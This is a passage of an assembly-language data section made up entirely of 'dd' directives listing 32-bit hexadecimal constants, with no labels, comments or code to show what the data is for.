0B67ADEB2h, 0A1E082Ah dd 0E93BA01h, 0C7E86F17h dd 522C0EEh, 63CF25DFh, 2DE82914h, 0F75D1307h, 510AF3ECh dd 94E7A031h, 761ED302h, 0C441942h, 6FA020A2h, 6BAB60F9h dd 0C4A1830h, 4E84D4B6h, 4076A80Bh, 7A16AD99h, 7FE118CCh dd 3122976Ah, 60140DB9h, 4509C793h, 0D613E1CBh, 995016EDh dd 9AEC3E69h, 0C8DCE9B0h, 8BB4F4B7h, 0D7989096h, 5B0A3668h dd 9D5F0851h, 0E8B4893Ah, 572C4030h, 0BD5798E9h, 0C4FCF62Bh dd 0A722AB6Fh, 36625D6Fh, 4A1254CAh, 1E572D26h, 0C44890BCh dd 0AC4E4F5Ah, 33DCF4DAh, 70EB9401h, 0E5BFC3AEh, 0FA4B344Bh dd 0C9F9A989h, 1AEBEB24h, 14411C0Fh, 44E58B7Fh, 2D447CA6h dd 26586755h, 1E256816h, 7821DF60h, 0C17F0080h, 0E94E07EEh dd 0ADC65605h, 74908F5Fh, 4746BDE8h, 95C5F94Eh, 66909B8h dd 36824260h, 362D43Bh, 8A3494E5h, 31E2640h, 89B7028Fh dd 7CD4FA53h, 0CEDE780Bh, 0F33CA0E1h, 5A952F67h, 0B48783D6h dd 11DD0B65h, 26023BECh, 0AD5B038Ah, 64BDF7A2h, 0BAE36675h dd 97B33061h, 7444F567h, 268D7048h, 44AE02A3h, 609BE978h dd 12EA1749h, 557B9248h, 5F09B938h, 0A52838EEh, 0ACA9859Dh dd 9A1182h, 62217AB8h, 0C3123473h, 0DB045658h, 50842846h dd 0F200A0BCh, 967205F7h, 9ECBD689h, 0D2C475BFh, 27A35A5Ah dd 968EBC4Fh, 788440E8h, 0EBAC124Fh, 0F03CEF93h, 0A3681257h dd 94BEA248h, 0FB057EBCh, 586EE010h, 0B25626ABh, 0B5817ECh dd 3DB10A6h, 0C0CFFE00h, 0B25208E7h, 0D7074574h, 38EF805Ah dd 0C327FCEh, 87F7CFFh, 0D2CD3B4h, 0F15BEE04h, 90C00A87h dd 0C73B8421h, 0A671860Ch, 0F02A6620h, 0C25C82F3h, 0D0FAB517h dd 464B42E1h, 23B5C09Fh, 9FD07D2Bh, 8947D481h, 62EADD06h dd 2E681FB6h, 6EF699A7h, 81F70BEAh, 585AD1B8h, 0DD062C7Fh dd 0C1BDA56Eh, 0BE762BC8h, 30393671h, 0C3FBA05Eh, 61CAF75Fh dd 0E976604Ah, 0BD8013F2h, 4F3A1266h, 7F25AE3Dh, 0EF0306E4h dd 4F169A3Fh, 0C497FEE9h, 1E72D4Bh, 6E024DA2h, 2F582241h dd 426B4ABAh, 6541ED46h, 0A3FB7163h, 622DB802h, 7A59B87Bh dd 0CBF42079h, 19086818h, 8010A2C1h, 0C8E0CEB1h, 0C33E909Dh dd 2D5E8072h, 683A3E09h, 74005533h, 0DDAC4335h, 5A7A8FFBh dd 0EA79091Bh, 58080603h, 9AE070Eh, 0F4E9A2BAh, 0D0F5EBB3h dd 4C0FD6Eh, 0A72EB43h, 915F50ECh, 2ED5E959h, 0B3EA89C4h dd 20EA94D1h, 476097B6h, 0B1CBB39Dh, 460A0929h, 6581FE12h dd 0EA2D1E7Ch, 4BBFA795h, 965D57C5h, 92681754h, 31D18D10h dd 54108FDCh, 0D5C0EB5Eh, 2E080BB0h, 5355A312h, 7F1ADEA6h dd 8C60F6A5h, 7212CDEAh, 0E1AB5694h, 1C0806C9h, 1B71280Bh dd 408B5757h, 0A721477Fh, 4A4280EAh, 0C1809868h, 592EF278h dd 40B434B0h, 0D97580BFh, 3A34A10Fh, 0F4C62229h, 2E4609DFh dd 190261F9h, 2902F163h, 8A7DE0FBh, 3E671F49h, 0CF0A8B5Fh dd 84A0CFD4h, 1F11BC09h, 59DDFC79h, 0AC0F45F2h, 505E25ECh dd 9704744Eh, 8C275822h, 0F795DD0Fh, 585C09A2h, 2FC5FD21h dd 3285F227h, 59B997DBh, 94ABF1D7h, 9E85B528h, 828BB8B5h dd 0F7D58851h, 5EBF3878h, 0AE84F289h, 19E9B66Fh, 4EB2E883h dd 0B8570364h, 34C40B2Bh, 707846F4h, 0B7DBE3Eh, 0DC15E92Ch dd 0BB382FAAh, 6AB2D5F7h, 0E955835h, 0E0EC560Bh, 17565B9Ch dd 0AC777E68h, 53CCC125h, 0C04143F7h, 403F9ADAh, 0AC4A4078h dd 9109053Ah, 57711F06h, 432DA180h, 82257BD0h, 0BFA7C09h dd 1F56253Ah, 0A7A111E4h, 8BFA43Ah, 8B410BF4h, 0BD92FA60h dd 1C51D0D6h, 2EA3CD01h, 317B05E7h, 0C00B3DE6h, 0D95CA58Bh dd 3F19ECAEh, 16B5B0Fh, 3B0AD2DEh, 5513148Eh, 10C5709h dd 5A2069F0h, 1B1EE0DEh, 159C3E68h, 2E59E703h, 0CFB02D87h dd 7CE4368Fh, 0B513E918h, 16EFC363h, 0B8247A56h, 0FE655091h dd 0FA829913h, 985BF8F8h, 9F92B5BFh, 44815F17h, 12D22CA8h dd 68E6C07Eh, 0E5C92671h, 5742267Bh, 86843822h, 7F75EE4Ah dd 4578CBA4h, 0B2F3C20h, 90BC1BE9h, 242FF290h, 1F08CE9Eh dd 20AC9D45h, 0D6BFD1F0h, 0DA878234h, 5C55F468h, 1FC94B85h dd 68E750B6h, 459B6A86h, 0BF593902h, 0B913C066h, 660E902h dd 0D7091341h, 8B05EB23h, 7AB8A493h, 947B8C1h, 0FD4A302Fh dd 4DD72204h, 0EA81DAF7h, 53E56F8Fh, 76A9F03Bh, 7A124378h dd 0A3B91CE9h, 0B17C8B2Fh, 4C16B99Fh, 3AB80880h, 26A80F16h dd 4B8EC231h, 0AB653497h, 0D15DA081h, 0D0A2FD3Eh, 0D73C36B0h dd 5AA53D74h, 0FAAE17A5h, 0DF8742EBh, 0BF01F8CFh, 6C8A7B4Dh dd 12952860h, 583F2852h, 58FD1272h, 0C093030h, 4F064EB1h dd 2141FE63h, 0AE2DC3AFh, 610BB06Fh, 0DF92AC6Bh, 6C2D6D67h dd 0F1D94F0Ah, 0B5356AA0h, 840CE912h, 62E6E27Fh, 8A2E2DB2h dd 950B060Ah, 1E99FA82h, 0FB395463h, 0EE0DE235h, 22056301h dd 0DE311C57h, 6CAC84E2h, 46E6F016h, 5897DD7Dh, 0D5DDE749h dd 26C1F4DEh, 0B80213A0h, 1332C417h, 2812E615h, 1E89EDA8h dd 7F39D7B2h, 0FE4A5A7Ch, 0C63D94A9h, 21E9E687h, 67DD0B90h dd 0F32189E3h, 0AFA08D04h, 12C10CC8h, 0B8FA54DFh, 0DBB35FF3h dd 0C764E9C2h, 171EA990h, 242212Eh, 4BFD07AFh, 0BE2D1318h dd 6B5B614Fh, 0C3F32EC2h, 997DC680h, 0D3308FEEh, 5F5488BBh dd 0D3695C9Dh, 7552F9E8h, 770C2A61h, 1F9F344h, 1AB9C47Bh dd 14010C08h, 2361EDE9h, 725785Eh, 0AA6FC8D7h, 4BBB7C40h dd 0E946F489h, 0E206A4Dh, 2C96852Dh, 0EB86C86h, 112F307h dd 580840D0h, 6487719Dh, 0D3F8B8D5h, 0C81047B9h, 0AEAD4F98h dd 39C64860h, 3FA0EA09h, 45972502h, 0AFF40C3Bh, 0AB0FEF17h dd 644F0102h, 33AA9C1Eh, 9EFC624h, 0B7071CD7h, 14C2E856h dd 0F44AEE3Eh, 4B89B74Eh, 575ADA76h, 54518068h, 0BBFB298h dd 7630DD66h, 2205792Eh, 5E2C14Ch, 0D1C5B283h, 0C3200D32h dd 0E309090Fh, 0E6F58988h, 0C8729DAEh, 0EC6C8609h, 0D8307D4Dh dd 0FBC8C8Eh, 73549CAh, 41A29280h, 815D0D53h, 2B0DA6F6h dd 0B2EBEE85h, 40A99AF4h, 982890FFh, 57C0C91h, 3AE6555h dd 4D6A5B10h, 0FFDC0D3Dh, 4907714Ch, 0C07F2114h, 0AF6A2CCBh dd 5DE4148h, 329271C3h, 0C2515783h, 0C7D4E0B9h, 25969B52h dd 2629AEDAh, 0A4AD4761h, 61EE5193h, 3CD09F66h, 9AF965Ah dd 0F872BE7Bh, 17D76805h, 64D027F2h, 60027042h, 0F109CE1Dh dd 561C2640h, 0DBBBD689h, 5827BEACh, 0D1B904C0h, 0B7BE6226h dd 56AAC101h, 0B16A7A27h, 21E9E196h, 6FEF0023h, 609D49C7h dd 16E3C2AFh, 64F92961h, 0A30BAF93h, 0F6227F56h, 0F3520D78h dd 15E0780h, 3300FB79h, 8C5857EFh, 582C685Bh, 2DEAF47h dd 0EE72D9Dh, 18A18055h, 0B8199130h, 2B2259B4h, 2514F84Eh dd 0A75EFCEDh, 79625A79h, 13900807h, 7EA2B337h, 87C052Ah dd 0A797BB5Eh, 7ED4B9D5h, 0FE9025EAh, 20D2C7F6h, 0F9B951CDh dd 14BF6804h, 0C9F138E9h, 5FDDC021h, 0E946B653h, 0DA7EACA6h dd 0AEBC4EB3h, 0D25DEFBCh, 0B381318h, 0F140308Ah, 24886E21h dd 0ED86D8A4h, 0A3AAD236h, 163025F9h, 91E917D8h, 0CA0BBD31h dd 534B1258h, 735F6918h, 0B91289DEh, 0E55968F5h, 11B164Ah dd 0F0FF1717h, 0CDB5562Fh, 425C946Bh, 49E768A0h, 98D1B3C4h dd 2F05FF14h, 0BFD207A9h, 0CBEE39C5h, 0B7E84EF7h, 2670AA5Bh dd 7A10A32h, 5E68574Eh, 9925141Ch, 0CDD17A76h, 5D01F4F5h dd 0D5B2704Dh, 9BF77F4h dd 0D1D9E399h, 0D0834ED6h, 14E42E24h, 71DA0C04h, 0E4B0319Ch dd 6F414199h, 172126A4h, 0A9381869h, 8059250Eh, 8C2305E9h dd 0B93B5FAAh, 409F73BAh, 48B060B0h, 0E50AFE1Ah, 1CBAE34h dd 0DF5B82E2h, 625F301Ch, 0F48447Eh, 1ADA01C7h, 0D329750Eh dd 8044421h, 56E99142h, 25ABD97Eh, 649837Bh, 0B52BD50Fh dd 0C6EA7989h, 0B9C8D312h, 4F4E8CE9h, 8D279EDh, 0B900888Ch dd 37B674FCh, 0CC525F41h, 6A09C2DAh, 0F670EC59h, 6E0C0ADDh dd 442141D2h, 0E0C1C043h, 4F350807h, 50ABB70Fh, 255D5EFAh dd 70E5FE4Ch, 3FE6C500h, 5AC2257Bh, 40116D2h, 0E9D49F49h dd 7B819917h, 0C65E0BC1h, 2F82ED6Bh, 0D4F637C0h, 20A5B886h dd 68163D95h, 0D8CC7A06h, 101D1F75h, 0F8805720h, 9884D9E1h dd 0FA05D52Eh, 57583590h, 1D680750h, 8B61FD7Bh, 39080FFCh dd 495D0FA0h, 7CAF7AE9h, 0BE965B84h, 2083EA41h, 972A6A7Fh dd 82BEF2AFh, 6BD59C92h, 0AD0C5A4Ah, 0A2012856h, 0E85D9D6Bh dd 2D6AEAB1h, 9C550524h, 0B867906Ah, 0F580077Bh, 53C5FEECh dd 0EDC1D5CDh, 10DDC297h, 9D7A9124h, 9B327466h, 0F5556C84h dd 5D25C4DBh, 7A573B41h, 680B34A2h, 3C7952EBh, 801488ECh dd 969CE0D1h, 504B9305h, 2D55C0AAh, 0E830DEDBh, 5ADFC43Fh dd 4D054851h, 4B5EE909h, 30881C13h, 27F661C9h, 42646AB7h dd 4EAE4000h, 4AC4B540h, 764ABE4Dh, 7AA85067h, 2D91DA9Bh dd 0A253C565h, 7C5C6F09h, 0C0B363F4h, 9C3A2350h, 0DA9F2675h dd 0B56C20E5h, 0BA6DDC9Fh, 43C46B80h, 95E8290Dh, 0ABC1E912h dd 0F8163BBh, 0AD9FB8Ch, 1D4D8B7Bh, 3C523A85h, 7BF4F501h dd 4E702362h, 0D07D19FCh, 0DA3ECA0Ch, 3AB444F1h, 0E9A806BCh dd 8180884Eh, 270AFABEh, 2FE80EF6h, 6B2F7B2Fh, 0F824FA4Bh dd 8A0CA444h, 0F6C660E2h, 41CDB51Ah, 0B215F727h, 0F4015217h dd 519536FEh, 2A5C03Fh, 0BDB8E877h, 78C7CE04h, 0B5C04813h dd 4ECC8706h, 2313FBB4h, 0C05A7EE0h, 27A904B9h, 294A7FBEh dd 0C9089BDh, 78ADE91Ch, 0F91CB770h, 0D9EA2C4Ah, 5529DEC5h dd 5E2FC4F9h, 0B0C61218h, 4E173E7Fh, 8051535h, 5CB98612h dd 0FC274202h, 0C85D8975h, 5C619769h, 0E907E51Eh, 2F846498h dd 0C1079F7Dh, 0F61CF9E1h, 0FDA4F834h, 0F00AE49Dh, 3200BFE3h dd 9605665Ch, 54084A6Bh, 0FABAF55h, 506A41FFh, 9EEACD2Bh dd 6CD5680Dh, 0CBE90C72h, 9F09108Ah, 912F9050h, 8028F375h dd 47D42D48h, 0A6B833BBh, 0E2E3904Ah, 0A2A0AC4Fh, 82C37C35h dd 3F2168E3h, 6614985Fh, 0F8D261Ah, 0D40818Bh, 926431A7h dd 6162D9F2h, 48CA415Dh, 0BA88C56Fh, 0F23BFC9Dh, 570CCF56h dd 1017A936h, 0B5E8668h, 0C434CEE9h, 5AFFF058h, 12BCF6C0h dd 0C2FC403Ch, 25E668E0h, 1BA5CA91h, 3FA81360h, 0C438A8C5h dd 5F0BA133h, 0D57138FFh, 0A6362B7h, 0C95CBA09h, 0D86DC781h dd 36F0C0B8h, 0DEE9B568h, 6D042ED6h, 0E4EE215Bh, 2764F75Dh dd 0CA950123h, 522C97CAh, 51870343h, 0E98858D8h, 0A6A91FE5h dd 545442D5h, 0E2D2C9D7h, 5CC9D427h, 6150E685h, 6B322BE7h dd 58891FA6h, 5B9D2AEEh, 25C54466h, 0D945CF0Bh, 3A494E2Fh dd 0B1A875DBh, 61038024h, 635502Fh, 0FDEF8147h, 0B990167Fh dd 2BF3B04Eh, 0BF3F3213h, 20F55B00h, 0B7312921h, 3B0747h dd 56C4DF2h, 5FBAE945h, 930CB257h, 0BE1616AEh, 0D16B7F39h dd 0DDD531FCh, 3F4375B0h, 3A3592C0h, 0C7405AF9h, 0BFDFB50h dd 24DFF14h, 8894F725h, 0DD0C937h, 8FB252B0h, 6F672468h dd 53666F5Bh, 34402A51h, 328818BBh, 0DDCBAC6Eh, 49275217h dd 6FCC1901h, 0F7CA8701h, 71A84AC5h, 5E735438h, 200C28EFh dd 35926EE3h, 0E9ABDDBFh, 0F396037Dh, 0E5370B93h, 0CAD19A68h dd 61EFBF83h, 8082E462h, 28288401h, 0BCE6E5B4h, 0D6EEC052h dd 35412221h, 8060631h, 9E04EED2h, 53E9788Dh, 0C6476265h dd 534495EFh, 0B29BBB9Bh, 604FF55Ah, 0CA1433CFh, 0E25330h dd 11172AFBh, 250886BBh, 0E1091FB3h, 0EE81A056h, 68D0597Dh dd 90570B2Bh, 4C74EDE2h, 72E5575Ah, 2B282427h, 17E45E52h dd 683340DAh, 77764339h, 0E7062BB0h, 5CA341D6h, 6C69009Ah dd 0DD0513BFh, 25F4882Dh, 0A8734C00h, 478E0D46h, 3564002Ch dd 602F59E7h, 4A5AF5E9h, 0E6014874h, 7E7F7C3Bh, 1ECA92Eh dd 1F9FDECh, 0AD6CD7E9h, 7379C4Fh, 70E900E5h, 0F0D99D9Fh dd 16974AA8h, 4BE916E3h, 328BBAE5h, 462BF44Ah, 5A2C859Fh dd 10AD0BECh, 0DF05E931h, 0CA013BDFh, 1A4B59AAh, 7DBD982Eh dd 5C0A5225h, 90F10F5h, 5702C383h, 0ABED6751h, 0C9097030h dd 4C7D6969h, 0C14E59h, 2ECC002h, 0CE73CC80h, 7F60F425h dd 20662049h, 294C48D0h, 7F15822Fh, 808F4858h, 14DB5CA7h dd 90FDD625h, 9A2C0CDFh, 2C567FF2h, 654D4662h, 386D8754h dd 172CBE00h, 0F64E1685h, 0CC8F4B2Dh, 6228463h, 3C312613h dd 0BFEC7EDh, 0F020A866h, 0E40504B6h, 0BA60B8E6h, 0E912D8E3h dd 87C7E14Dh, 52C8B5D2h, 1C5ED3A3h, 2558E761h, 248C14F7h dd 523E8A27h, 4A13A9C0h, 0E9630605h, 0D7D417BCh, 0EFDEC2BAh dd 2D03F250h, 6F3171E5h, 63E1B040h, 54700C2h, 6AF63762h dd 8C6B8FE9h, 0FA96D777h, 2D12159Ah, 50BA64A0h, 5927083Ah dd 0E9417EF9h, 562A2660h, 0A87D80C7h, 681221B7h, 93CC2EFDh dd 7EA14192h, 0DD84F9C7h, 800C28ACh, 150653F5h, 590EECE0h dd 36E9E630h, 1C6F55F1h, 80E8D39Dh, 78090577h, 9136DD25h dd 923F7762h, 0FEE25303h, 6BDD1EA9h, 50D9D743h, 2CB301DDh dd 0CB80D3F6h, 0B83B206Bh, 0D843043Dh, 0E9D8061Dh, 772B2DAFh dd 8397271Dh, 90E6B07Fh, 1DAB95C7h, 5F84A37Fh, 19B9BC01h dd 0C8884112h, 2EF3C193h, 37E70C21h, 1F517417h, 52DBB0FEh dd 2D071EBAh, 5CF02243h, 0AC5D73C9h, 0B78DC6C8h, 0CE17B8E9h dd 31181345h, 0D787AC6Ch, 5397BF26h, 0C669C357h, 0F1FB4FD4h dd 23E87F6Fh, 0D9E95DF0h, 0F6121163h, 0D08CBAD4h, 5AD016Ch dd 77B840D3h, 9952DC2Dh, 4DB8285Ah, 0F92C0741h, 0C6542C00h dd 64BF583Dh, 0AB4F9004h, 0E9D8C729h, 4445B057h, 75F0C303h dd 0AF2A1B3Dh, 66B782F2h, 4D60F505h, 92B7B1AAh, 88C8408Fh dd 6445286Fh, 55D140D5h, 4EF16817h, 2FE9C36Ch, 85FB89ECh dd 9B8E762h, 0F3010B7Dh, 9230088Fh, 7E85681Eh, 6E807126h dd 0B2B80EBh, 0DF89FC75h, 0BBFE809Eh, 0F0685181h, 1B8150B2h dd 47818E9h, 8AA25DC3h, 7042761Ah, 3C013A2Dh, 39052F42h dd 54D27D5Eh, 0C37909BDh, 524E5C6Eh, 4DFD7629h, 2EC0262Fh dd 0C1FA06B6h, 0A2D5547h, 2D97B5D0h, 20D22507h, 959E617Fh dd 0C0F28100h, 0F77046AFh, 5816A0B0h, 0DF4E3166h, 0E9BA28FAh dd 5A071E49h, 8C50BA9Eh, 0FA7FCBB7h, 0F121406h, 128CE6Fh dd 595C1B20h, 40F01B4Ch, 2939662Ah, 1E0BC8FBh, 912D6AD0h dd 1FC0289h, 7D56FEF3h, 7BBD0455h, 0B04EE978h, 9106BB23h dd 293D255Dh, 5B0C3CFAh, 0CE785A4Bh, 50EDF9F7h, 664A8E9h dd 0C9F05A0Ah, 0D38A5A8Ch, 0DD844CFh, 0C009BD7Eh, 2981F2A5h dd 0C89A8252h, 94FE0977h, 5E3C105h, 2EB48781h, 0FF6F0B05h dd 43051F56h, 82010888h, 0A8D76F3Ah, 379FF8DBh, 6A1760B7h dd 766055E7h, 0E1242FBDh, 0AFD6A45h, 90108244h, 171C6808h dd 23051834h, 0D2FF015Eh, 4350FEh, 0BA02B8FAh, 607F8938h dd 9CD529B4h, 5E0A91D8h dd 90D54AA9h, 0E9D3685Bh, 65953B55h, 0CA8BE050h, 3E601BB4h dd 95032169h, 727A34Ch, 0FFE11A54h, 4A46CE00h, 0B8050936h dd 5927EE9Eh, 0A9AB2884h, 0B2E24E01h, 681D98B4h, 0A945A432h dd 1B48D54Dh, 409E5F1Bh, 0EC1CCD62h, 5A4527F3h, 74984716h dd 0DDB98D25h, 6DC6F410h, 0F82F0827h, 9CA29D5Ah, 82B27170h dd 0E3742109h, 0BEA6CC2Fh, 59A1024Dh, 4C573F13h, 48EE0151h dd 5122FD7Eh, 2112857h, 0CCE93BAFh, 12390A67h, 58070103h dd 2AC7D3EEh, 427943BAh, 91DF4735h, 3D0C8BCBh, 2B35975Bh dd 0F353E112h, 64E83DEEh, 0F19F55B4h, 8B567267h, 0A71909h dd 5968CF45h, 987BB547h, 0CE288839h, 0BFFF177Fh, 3D299B99h dd 0BF98026Ch, 5E6E1E0Fh, 0CDB34610h, 0B7E304ADh, 0B2785F31h dd 585E0FF2h, 0F0560B48h, 0AD4D48A3h, 0C32B7D00h, 93F18101h dd 79A8541Dh, 6DF5C983h, 0E9B20070h, 69FD30C2h, 10C1D9F7h dd 49261BFFh, 0BF25A231h, 0D33C0E21h, 46B304A5h, 63F2BEE8h dd 0FFCA2B17h, 3CD5E68Dh, 147712C2h, 5F12213Ch, 0E7D30CADh dd 981C0FEFh, 0D16B85DCh, 17B91DC0h, 5FB11D0Bh, 45135E89h dd 3F05F134h, 0A8A46EADh, 0C8E610h, 1D4006BDh, 0E5ED8174h dd 35F86D18h, 6589700Ch, 0A0EB4C7Dh, 0E355AE89h, 0F442BF78h dd 5F2F3297h, 3A752A29h, 508F42FBh, 0BC9EBEB5h, 7989C4A5h dd 0FF01CBC5h, 78A3E930h, 266CFD2Fh, 0B6006E66h, 69685389h dd 9B4BB59h, 544C977h, 9945DCB7h, 2A294581h, 18C7250h dd 1F0D4C65h, 13B5FE9h, 28A2B655h, 629361F0h, 0F4C52FF8h dd 8560A5A7h, 1063C1Eh, 16A0E934h, 0A2B20524h, 0BB47F280h dd 3E2CF181h, 2A68D8C0h, 0C505F20h, 0DDF6B6B5h, 0C000C5C0h dd 0C68003EEh, 5FA2E9B3h, 7CA48A56h, 0A6FA9AA0h, 0D45D10C9h dd 2F755215h, 0EC710A01h, 8E7626CFh, 525302D4h, 9B549ABAh dd 0B6AF0DDh, 3EC77BD1h, 76880D80h, 0EB12B47h, 48AABD09h dd 99C18D7Bh, 0AC8A3F0Eh, 16970FF0h, 5D10D254h, 73D71AEAh dd 398469A5h, 0C55E0E97h, 8FAEB322h, 0B08E5C80h, 0A4FCE95Fh dd 7558BD82h, 0B73E20FAh, 0C52E9647h, 0F86B1292h, 0AE749704h dd 97777E58h, 40FF3275h, 627120B5h, 111F07Ch, 35F6CA48h dd 6062A896h, 4FF6C77h, 0AB499EC2h, 78C7F034h, 1FF91416h dd 0A005A00Eh, 3503F22Ch, 0A72E0ED5h, 25089C3h, 0E3CA74EBh dd 0B2E85D16h, 8BC00B36h, 0B92466CDh, 6B79B703h, 0BD6BF501h dd 57E5E1Eh, 525356BAh, 0AF43BB92h, 384F5E9h, 5A31C743h dd 0D7F21040h, 82B7F62h, 0CB3C7951h, 40B98984h, 94D7E9F0h dd 0D2030091h, 0D9019E69h, 5B004C19h, 0D1BFE268h, 0A758AF8Ch dd 0DB2511Ch, 0C0044D24h, 8F8302E2h, 0DF919FC5h, 0A9ADAF6h dd 585D06C4h, 29B198ACh, 0A5DF24C9h, 0A632A9DAh, 75EAA313h dd 89808029h, 75D469AEh, 0D80AF7F8h, 81463860h, 7743EC03h dd 0DB180423h, 15D584Fh, 301633D6h, 0C53CF400h, 47850A4Bh dd 42B299D5h, 0DFC9EFA5h, 2201956Eh, 9B925D1Eh, 5EE9F075h dd 6BEED96Ah, 0C15E4CADh, 5B3488h, 24352FBAh, 2CD17DDh dd 24785D62h, 494E6100h, 20FAC110h, 6F5FA065h, 0B06BF5B1h dd 135EF06Dh, 688289E2h, 4CD70197h, 35CD0063h, 12B81883h dd 255EF0FCh, 6F8ADDE0h, 8D8092DAh, 2D477816h, 0AB0B8969h dd 5A8D6CFCh, 0F41EBDAh, 4D803E3Bh, 0BE5E247Bh, 705331A0h dd 0BE5AE0A0h, 0ECF7C5CFh, 4402B1EAh, 1720AACh, 0F70B1576h dd 997470DFh, 0D78856C0h, 7C0595Ah, 0CF8006E7h, 69EF6772h dd 0F12085D0h, 8A69DA7h, 1585DF2h, 1C5126CFh, 0EBEB888Eh dd 6EC52A72h, 0EDC6780Ah, 4C9B36C3h, 1E010EB7h, 2918781Bh dd 23A144FBh, 22045F08h, 9332AFFh, 0BB1412EBh, 7C068CF3h dd 28480C63h, 842E6D03h, 0C7EB016Bh, 5D05082Ah, 0E6D2ABE9h dd 5A1FD405h, 222D8EF6h, 0E2D0212Bh, 9F80F837h, 30DD8409h dd 295BEFBh, 686B0B46h, 0BB560143h, 9C790049h, 97EE8C1Ah dd 0D6F999E3h, 3EF1FD5Ah, 5C05FE8h, 4A4233DDh, 0B95E972h dd 5BF916D7h, 254B801h, 486636B3h, 0FC935F5Fh, 0C5D588A2h dd 25D6A0DCh, 71D9158Ah, 12732E8Eh, 48F8A6BFh, 298A04A8h dd 94BF2757h, 579616EDh, 9367F914h, 0BD31D2BCh, 293F55Eh dd 1E61DD5Ch, 8AD3B47h, 0CFF570Bh, 9F0A2622h, 0FAEC2904h dd 6A53EA01h, 0D9016C1Ah, 2F716151h, 0F2B18F07h, 48CF4272h dd 0BEEC37Bh, 5E557275h, 0F268B510h, 33317BE5h, 8004987Eh dd 0B414DD3Bh, 8033687Bh, 0B85246E2h, 5A3432F8h, 95CFC1Fh dd 0FD6F408Bh, 25E9D007h, 786CEB3Bh, 52CC2F68h, 0BA40B29Ah dd 0C527E94Bh, 53FCD4BEh, 54469FD8h, 67C720F3h, 72140F13h dd 23945E01h, 0F544D6F5h, 0FD4B19ACh, 25AE9455h, 3D18E68Eh dd 0F9965453h, 0B30BAACh, 0A19C5CE7h, 0EB72D6A8h, 0BBF96913h dd 0CA31E4C8h, 80E3B319h, 5133F181h, 609D2E7Bh, 0B587A777h dd 1F4F67E6h, 3EBE5400h, 97095404h, 0AC804165h, 2156E842h dd 0D15D39EEh, 284C1BAh, 0ACC375E9h, 27C4C789h, 5365D709h dd 7D5C0D32h, 0E98B1FF9h, 0D68850B7h, 0CE9BEBFDh, 174C3062h dd 0BBAC4305h, 0C652DE07h, 0A4CFD32Fh, 5F598A25h, 3FEABA03h dd 0EFB31BD3h, 619064A8h, 9BE0FCF9h, 19F6F09h, 727B5DF9h dd 65D6E961h, 44CB32Eh, 6163149Eh, 7C539EC2h, 67062EEh dd 2417276h, 0E2DB6C2Ah, 0BD8BF040h, 0F55CE5FAh, 0EE3219EAh dd 9B3153AEh, 0ADE8DAC9h, 2D14C180h, 0F8707668h, 2C98F829h dd 0B550882h, 4094D178h, 8DE95655h, 4FF59749h, 0B76604EEh dd 9EFDAB72h, 8663C5h, 1A4DB755h, 6E1D050Ch, 54AD78DAh dd 7B468859h, 7C9B6804h, 7210E9E3h, 35660725h, 2D412733h dd 29E1AD47h, 0DF33FC2Fh, 180F8E64h, 0EF31C73Fh, 0D69F9C8Dh dd 7368805Fh, 0DDF3E964h, 91AE597h, 96D57259h, 0F33360C6h dd 0CA03B6BDh, 0EB891012h, 0FCDEEEB2h, 6F836E0Bh, 0E6089FF4h dd 985D1228h, 955E649Ch, 944E4BF4h, 9401F6Fh, 0C21AEE09h dd 623185DAh, 54014738h, 0B06DFC6Ah, 0C071FAE9h, 9E4CFD5h dd 0CC06867h, 2DC17F93h, 0FCEF5AD1h, 2B2F025Fh, 0E1D729E3h dd 87018D69h, 3115DCF7h, 0E8EFCBC0h, 0C128B444h, 630F880Ch dd 4A82C65Ah, 0D19A7BC1h, 40CE9AFDh, 6F77417Eh, 2A0C286Fh dd 0E802F653h, 295E171Fh, 0A71AE5F2h, 3F2D0DC8h, 68226105h dd 0D8AE07C8h, 4D3BAE18h, 9DD150BAh, 44B32602h, 544520E9h dd 1BF76003h, 0D59838D4h, 2BE40B1Dh, 0BBA8E906h, 0C68380A3h dd 2F912E46h, 0A9D82F30h, 89A21632h, 8F967DF8h, 8A2A6E9Ah dd 0F707B3FCh, 26524308h, 853A55B3h, 69EEA7BBh, 83015E4h dd 31093697h, 1A41F6C2h, 2F72B01h, 0C1D9ABBh, 1F0067F4h dd 590D76EEh, 793C5D4Ah, 0B471325h, 8E09FA3Eh, 2FCE2FCh dd 0C24C5097h, 0AC275710h, 4DF65912h, 0BC3F246Fh, 0A85F80B2h dd 0A2FFF477h, 70C710CAh, 0ABEB6812h, 0B885C8E3h, 0CE420081h dd 21758F2Fh, 125BDD30h, 206454CBh, 81002926h, 4CD2DEF5h dd 9595E9C4h, 0AFBAAB85h, 9C96845Eh, 0E85ED5AFh, 0BDF1509Ch dd 229B1A1Dh, 3E73E580h, 0F9830AE0h, 0D5066328h, 0C438B52h dd 771CBD0Ch, 3CED3832h, 792E7E17h, 0D5E906DCh, 594FB483h dd 0BE9770F2h, 3D6A2329h, 0A8796039h, 4F375182h, 0C082C8C6h dd 3020B298h, 0EA44D69Fh, 6FD7A05Eh, 75EB7E84h, 1E528255h dd 0EA0730D5h, 5C9DCCh dd 8AC087C9h, 0E4455509h, 0C61D71A6h, 2508F193h, 25F2884h dd 193373D5h, 98E8FA31h, 393F3FA1h, 6BE28260h, 0E0612E0Ah dd 626A842Fh, 1D79C07Ch, 68DE98FFh, 0E93764F5h, 0DBE886h dd 75BF57ADh, 0F87CDC36h, 0AC2A4B2Ch, 79B4CF54h, 8B295BC2h dd 0B776FB8Bh, 5217F927h, 317264D5h, 0BB4C927Ch, 79E2C05Dh dd 30BCB0C1h, 3A307FBDh, 3A0AF4CEh, 0B7A6E972h, 0F25D96EFh dd 78A5C903h, 0D5C18106h, 4B6C54E1h, 0BFAF175Ah, 6E3EF968h dd 0F7C9396Fh, 0EE88E623h, 2B873491h, 3C8D405Fh, 0C5471C6Dh dd 0E764F58Bh, 28BE660Fh, 16048474h, 129639A8h, 0FFF3ABCCh dd 1C946D1h, 84721B56h, 0B8007A24h, 6DC24538h, 8500E5B7h dd 83F43A08h, 7890EF1Bh, 0E91267A2h, 0F5AFFD87h, 18F36B36h dd 821BE134h, 38A63606h, 20559B9h, 0BFE3E953h, 0B6509056h dd 0DE6E25ADh, 6051C71Bh, 29DF605Ah, 633DE925h, 68C2DCACh dd 4A560B96h, 0E1441182h, 0CF2277D0h, 0BAD5623Ah, 700285EAh dd 4049A3C2h, 0F779D1Fh, 0EBE93F19h, 0CECACCF6h, 16E0BE88h dd 0E05ACB21h, 0F1163FC1h, 55090DC8h, 82FFFE5Eh, 6894131Eh dd 0E22DB345h, 